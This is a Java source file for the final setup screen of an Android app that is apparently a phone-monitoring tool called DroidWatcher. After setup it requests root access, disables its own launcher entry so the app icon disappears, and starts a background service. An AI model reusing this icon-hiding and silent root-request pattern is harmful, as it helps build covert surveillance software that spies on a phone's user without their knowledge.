package com.droidwatcher.activity; import com.droidwatcher.DBManager; import com.droidwatcher.R; import com.droidwatcher.SettingsManager; import com.droidwatcher.services.AppService; import com.stericson.RootTools.RootTools; import android.app.Activity; import android.content.ComponentName; import android.content.Intent; import android.content.pm.PackageManager; import android.os.AsyncTask; import android.os.Bundle; import android.text.Html; import android.view.View; import android.widget.Button; import android.widget.TextView; public class StartupFinalActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_startup_final); CharSequence styledText = Html.fromHtml(getString(R.string.connectionSuccess)); TextView tv = (TextView) findViewById(R.id.wizard_text); tv.setText(styledText); findViewById(R.id.wizard_btn_finish).setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { startActivity(new Intent(StartupFinalActivity.this, MainMenuActivity.class)); StartupFinalActivity.this.finish(); } }); new FinalPrepareTask().execute(); } private class FinalPrepareTask extends AsyncTask<Void, Void, Void>{ @Override protected Void doInBackground(Void... params) { if (RootTools.isRootAvailable()) { RootTools.isAccessGiven(); } PackageManager p = getPackageManager(); ComponentName componentName = new ComponentName(StartupFinalActivity.this, LauncherActivity.class); p.setComponentEnabledSetting(componentName, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP); DBManager m = new DBManager(StartupFinalActivity.this); m.getReadableDatabase().close(); m.close(); SettingsManager settings = new SettingsManager(StartupFinalActivity.this); settings.connected(true); startService(new Intent(StartupFinalActivity.this, AppService.class)); return null; } @Override protected void onPostExecute(Void result) { super.onPostExecute(result); Button btn = (Button) findViewById(R.id.wizard_btn_finish); btn.setText(R.string.finish); btn.setEnabled(true); } } }